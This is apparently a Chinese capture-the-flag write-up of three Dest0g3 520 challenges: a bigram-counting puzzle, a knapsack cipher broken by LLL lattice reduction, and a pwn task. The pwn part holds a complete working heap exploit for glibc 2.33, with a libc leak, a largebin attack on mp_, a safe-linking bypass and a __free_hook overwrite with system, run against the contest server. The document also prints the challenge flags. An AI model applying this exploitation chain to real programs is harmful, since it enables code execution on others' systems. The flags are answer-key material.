[Dest0g3 520迎新赛] 不会的部分 The correct flag,emma,Bag

 终于在赛完N天后搜到一些不会的题--> 问谛居

目录

AI The correct flag

pwn emma

crypto Bag


AI The correct flag

这个是脑子没想到,解出来是两个字母一级的N多个对,看了才知道这个题是找第1个字母后第2个字母的出现数量最从的组合,比如第1个字母是D第2个字母e出现15次,是出现次数最高的。所以用这个求出所有的组合64个,将这些组合按顶针的方法连起来就行了De-es-st-t0-0g-g3-3{.....

#统计第1个字母后第2个字母的个数

data = open('a.txt', 'r').read().split(' ')
tab = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}'
da = []
for i in range(64):
    da.append([0]*64)
#print(da)
for a in data:
    da[tab.index(a[0])][tab.index(a[1])]+=1
for i in range(64):
    l1 = ''
    l2 = ''
    for j in range(64):
        l1 +='  ' + tab[j]
        l2 +=f"% 3d" % da[i][j]
    print(tab[i], ':')
    print(l1)
    print(l2)
    
#print(da)
db = []
for i in range(64):
    v = 0
    t = 0
    for j in range(64):
        if da[i][j] > v:
            v,t = da[i][j],j
    db.append(tab[i]+tab[t])

print(' '.join(db))  

#AB BG Ce De EI FA GF HD Il JE KE LF MR NW OI PP QK RE Sd TW UX VB Wq XI YH Zq aA bG cO dI es fC g3 hP in jV kB l1 mH nP oD pP qS rD st t0 uI vB wH xB yP zO 0g 1} 29 3{ 4D 5Y 6Q 7N 87 98 {2 }D
#De es st ...
#Dest0

flag = 'D'
while flag[-1] != '}':
    for a in db:
        if a[0] == flag[-1]:
            flag += a[1]
            break
print(flag)

pwn emma

这个一开始发现只能建大块释放后进入unsort就不知道怎么弄了,看了才知道mp_ 这个结构在libc里存tcache的信息,在+72的位置保存的是堆的基地址,+80的位置是tcache的最大块尺寸,如果大于这个尺寸就会放到unsort。

所以思路就是通过largebin attack把一个指针放到+80的位置,再建块就会因为这个数太大而放入tcache从而进行tcache attack

第1步建个大块释放得到unsort指针,由于这个指针末尾字节是0,需要再建块利用残留获得

第2步largebin attack先建块释放,再建更大的让它进入largebin然后通过UAF将下一块的指针改为mp_+80(largebin有4个指针,最后一个是)

第3步再释放一个块再建更大的,让第1个largebin与第2个成链的时候会将指针写到mp_+80位置这时tcache的最大size被改大

第4步建块释放得到堆地址,改为__free_hook再建块写system再释放带/bin/sh的块。这里由于2.33对堆地址进行了加密,加密方式很简单是当前块地址异或指针。所以只需要让两个chunk的后12位相同直接用第1个指针(值为0)当作第2个释放的key就行(如果不在同一个XXX减1作个调整也一样)

from pwn import *

#patchelf --set-interpreter /home/shi/ctf/520/libc6-2.33/lib/x86_64-linux-gnu/ld-2.33.so  pwn
#patchelf --add-needed /home/shi/ctf/520/libc6-2.33/lib/x86_64-linux-gnu/libc-2.33.so pwn

local = 0
if local == 1:
    p = process('./pwn')
else:
    p = remote('node4.buuoj.cn', 27686)
    
context(arch='amd64')

elf = ELF('./pwn')
libc_elf = ELF('/home/shi/ctf/520/libc6-2.33/lib/x86_64-linux-gnu/libc-2.33.so')

menu = b">>\n"
def add(idx, size, msg=b'/bin/sh\x00'):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"Index: \n", str(idx).encode())
    p.sendlineafter(b"Size: \n" ,str(size).encode())
    p.sendafter(b"Content\n", msg)

def free(idx):
    p.sendlineafter(menu, b'4')
    p.sendlineafter(b"Index: \n", str(idx).encode())

def show(idx):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(b"Index: \n", str(idx).encode())

def edit(idx, msg):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b"Index: \n", str(idx).encode())
    p.sendafter(b"Content\n", msg)

context.log_level='debug'

add(0, 0x450)
add(1, 0x420) 
free(0)

add(2, 0x440, b'A')
show(0)

libc_base = u64(p.recv(6).ljust(8, b'\x00')) - ord('A') - 0x400 - 0x60 -0x10 - libc_elf.sym['__malloc_hook']
libc_elf.address = libc_base
mp_80 = libc_base + 0x1e02b0   #find heap_base in libc : libc+0x1e02c8 = sbrk_base->head_base 在mp_+72的位置有堆的基地址,需要改+80的位置为一个大数(堆地址代替),使堆块值不超过tcache最大值,从而进入tcache进行tcacheattack
print('libc:', hex(libc_base))
print('mp_80', hex(mp_80))

add(0, 0x440)
add(3, 0x420)
free(2)
add(4, 0x600)
free(0)

edit(2, p64(0)*3 + p64(mp_80))


add(5, 0x800)  #large_bin attack tcache_bins = 0x55...  (max_size_tcache)

add(6, 0x500)  #chunk6 >>12 == chunk7>>12
add(7, 0x500)


free(7)
show(7)
key = u64(p.recvline()[:-1].ljust(8, b'\x00'))   #key
print('key:', hex(key))

free(6)
edit(6, p64(libc_elf.sym['__free_hook'] ^ key))
add(8, 0x500)
add(9, 0x500, p64(libc_elf.sym['system']))
free(8)

p.sendline(b'cat /flag')
p.interactive()

#Dest0g3{3801ee2a-6686-4428-9d64-0f812793cc14}

crypto Bag

这个突然感觉没文化真可怕。

一开始想到的就是递归,可一看数字286层,这个不可能完成,即使减掉可以预测已知的部分也不行。

第二个想法是01背包问题,不过背包问题需要一个巨大的数组V这第大,这里的V是c也不可能实现,后来想用分段的方法虚拟一个数组。终于静下心来写出来了,但一运行也不行,因为背包问题会保存所以可能的状态,这些状态是c(n,0)+c(n,1)+...+c(n,n)种状态,这也是不可能实现的

昨天看到人家写的WP,感觉没文化啊。

这应该是一个线性代数的一个例题:用基格约减法求最短正交基

先建一个(n+1)*(n+1)的矩阵,对角线为1,末列为公钥Pk,末行末列为-c 

然后用基格约简法求最短正交基  A.LLL() 然后输出就行了

nbit = len(Pk)

encoded = 1475864207352419823225329328555476398971654057144688193866218781853021651529290611526242518
print("start")
# 建一个(n+1)*(n+1)的矩阵,对角线值为1,末列为公钥,末行末列为-c 求LLL 
# create a large matrix of 0's (dimensions are public key length +1)
A = Matrix(ZZ, nbit + 1, nbit + 1)
# fill in the identity matrix
for i in range(nbit):
    A[i, i] = 1
# replace the bottom row with your public key
for i in range(nbit):
    A[i, nbit] = Pk[i]
# last element is the encoded message
A[nbit, nbit] = -int(encoded)

res = A.LLL()
for i in range(0, nbit + 1):
    # print solution
    M = res.row(i).list()
    flag = True
    for m in M:
        if m != 0 and m != 1:
            flag = False
            break
    if flag:
        print(i, M)
        M = ''.join(str(j) for j in M)
        # remove the last bit
        M = M[:-1]             #矩阵是n+1行,结果是n+1个值,最后一个去掉
        M = hex(int(M, 2))[2:]
        print(bytes.fromhex(M))
#5090ea29-8cb6-4ad8-ab43-1e6f65cc8eeb
#Dest0g3{5090ea29-8cb6-4ad8-ab43-1e6f65cc8eeb}

用sage运行n0秒后出结果。仅一句啊。

你可能感兴趣的:(CTF,crypto,CTF,pwn,CTF,misc,Dest0g3)